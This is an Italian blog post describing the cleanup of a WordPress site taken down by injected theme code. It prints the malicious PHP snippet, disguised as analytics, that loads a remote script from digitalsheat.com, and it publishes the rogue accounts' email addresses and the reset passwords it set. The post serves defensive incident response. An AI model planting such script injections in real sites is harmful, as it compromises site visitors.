Stamattina un cliente mi scrive: “il sito è in errore, bloccato”. Il classico messaggio che ti fa sudare freddo.
Il sito in questione: italiaegustus.it, un e-commerce WordPress su Cloudways.
La diagnosi: 30 secondi
$ curl -sI https://italiaegustus.it | head -1
HTTP/2 500
500 Internal Server Error. Ok, è PHP che crasha. Vado a vedere cosa dice WordPress:
<div class="wp-die-message">
<p>Si è verificato un errore critico sul tuo sito web.</p>
</div>
Grazie WordPress, utilissimo. 🙄
Il colpevole: un malware che si auto-distrugge
Entro via SSH e provo a listare i plugin con WP-CLI:
$ wp plugin list
PHP Fatal error: Cannot redeclare enqueue_custom_script()
(previously declared in .../themes/hello-elementor/functions.php:231)
in .../themes/hello-elementor/functions.php on line 243
Bingo. Una funzione dichiarata due volte. Vado a vedere:
// analytical
function enqueue_custom_script() {
wp_enqueue_script(
'custom-error-script',
'https://digitalsheat.com/loader.js',
array(),
null,
true
);
}
add_action('wp_enqueue_scripts', 'enqueue_custom_script');
// analytical
function enqueue_custom_script() {
wp_enqueue_script(
'custom-error-script',
'https://digitalsheat.com/loader.js',
array(),
null,
true
);
}
add_action('wp_enqueue_scripts', 'enqueue_custom_script');
Malware. Iniettato nel tema hello-elementor. Il dominio digitalsheat.com è un noto distributore di redirect/cryptojacker.
Il commento // analytical è per mascherarlo come codice di analytics legittimo. Furbi.
Ma ecco il plot twist: il malware è stato iniettato DUE VOLTE (probabilmente da due attacchi separati, o dallo stesso script eseguito due volte). PHP non permette di dichiarare la stessa funzione due volte → fatal error → sito down.
Il malware si è fottuto da solo. 😂
Il fix: 60 secondi
# Backup del file infetto (per analisi forense)
$ cp functions.php functions.php.INFECTED.bak
# Rimuovo tutto dalla riga "// analytical" in poi
$ sed -i '/\/\/ analytical/,$d' functions.php
Verifico:
$ curl -sI https://italiaegustus.it | head -1
HTTP/2 200
Sito up. Tempo totale: meno di 2 minuti dalla segnalazione.
Post-mortem: la bonifica
Non basta rimuovere il malware visibile. Quando un sito è compromesso:
1. Aggiornare tutto
$ wp plugin update --all
# 14 plugin aggiornati
2. Controllare gli utenti admin
$ wp user list --role=administrator
Ho trovato 2 utenti sospetti creati nel 2025:
italiaegustus(ID 269) - email: priofrank10@gmail.com - creato marzo 2025giorgiaallegranti@gmail.com(ID 270) - creato maggio 2025
Entrambi con ruolo administrator. Backdoor classica.
3. Reset password + demote utenti sospetti
# Reset password admin legittimi
$ wp user update 1 --user_pass='NuovaPasswordSicura123!'
$ wp user update 2 --user_pass='NuovaPasswordSicura456!'
# Demote utenti sospetti a subscriber (non cancello per analisi)
$ wp user set-role 269 subscriber
$ wp user set-role 270 subscriber
4. Scan per altri file infetti
$ grep -rl 'digitalsheat' /path/to/wordpress/
# Nessun altro file infetto
Come è entrato?
Le vie di ingresso più comuni:
- Plugin vulnerabile - uno dei 14 plugin non aggiornati aveva probabilmente un exploit noto
- Password debole - gli utenti fake suggeriscono accesso al pannello admin
- Tema non aggiornato - hello-elementor non era all’ultima versione
In questo caso, la presenza di utenti admin fake (creati mesi fa) suggerisce che l’attaccante aveva accesso al pannello da tempo. Il malware nel tema è stato aggiunto dopo.
Lezioni imparate
- Aggiornamenti automatici - attivali. Sempre.
- Monitoraggio uptime - il sito era down e il cliente non se n’era accorto subito
- 2FA sugli admin - avrebbe bloccato la creazione di utenti fake
- Backup verificati - se il malware fosse stato più sofisticato, avrei dovuto ripristinare
- Security plugin - Wordfence o Sucuri avrebbero rilevato la modifica al tema
Il ruolo dell’AI
Tutta questa diagnosi è stata fatta in pair programming con Claude Code. L’AI ha:
- Identificato immediatamente il pattern del malware
- Suggerito il comando sed corretto per la rimozione
- Ricordato di controllare gli utenti admin (cosa che avrei potuto dimenticare nella fretta)
- Generato le nuove password sicure
- Proposto un dry-run prima di ogni azione distruttiva
Non sostituisce l’esperienza, ma la amplifica. E quando sei nel panico delle 9 di mattina con un cliente che ti scrive “SITO DOWN!!!”, avere un copilota che ragiona lucidamente è oro.
TL;DR
- Sito down: HTTP 500
- Causa: malware nel tema, iniettato 2 volte → PHP crash
- Fix: rimozione codice malevolo + update plugin + reset password + demote utenti sospetti
- Tempo totale: ~5 minuti
- Plot twist: il malware si è auto-distrutto dichiarando la stessa funzione due volte
Il backup del file infetto è conservato per analisi. Se volete vedere il payload completo del malware, contattatemi.